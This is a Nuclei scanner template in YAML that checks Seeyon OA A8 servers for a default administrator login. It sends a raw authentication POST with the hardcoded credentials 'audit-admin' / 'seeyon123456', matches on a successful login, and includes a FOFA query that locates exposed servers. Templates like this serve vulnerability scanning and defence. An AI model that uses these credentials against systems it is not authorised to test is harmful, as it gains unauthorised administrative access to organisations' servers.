seeyon-a8-default-login: Seeyon OA A8 - Default Login

id: seeyon-a8-default-login

info:
  name: Seeyon OA A8 - Default Login
  author: SleepingBag945
  severity: high
  description: |
    Seeyon (seeyon) OA A8+ Enterprise Edition has a weak password vulnerability, which can be used to log in to the background
  metadata:
    verified: true
    max-request: 1
    fofa-query: app="致远互联-OA"
  tags: seeyon,oa,default-login,vuln

http:
  - raw:
      - |
        POST /seeyon/rest/authentication/ucpcLogin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        UserAgentFrom=iphone&login_username={{username}}&login_password={{password}}

    payloads:
      username:
        - 'audit-admin'
      password:
        - 'seeyon123456'
    attack: pitchfork

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "\"LoginOK\":\"ok\""
          - "audit-admin"
        condition: and

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 200
# digest: 4a0a004730450221009847d64b2f4b4b06583f20ca5b109deae6672bbe152eb3f4a99db610b593fe1a02207474e99708299552959a493008cfba161f22eb7531bb12c9b119e5a5848e1d7a:922c64590222798bb761d5b6d8e72950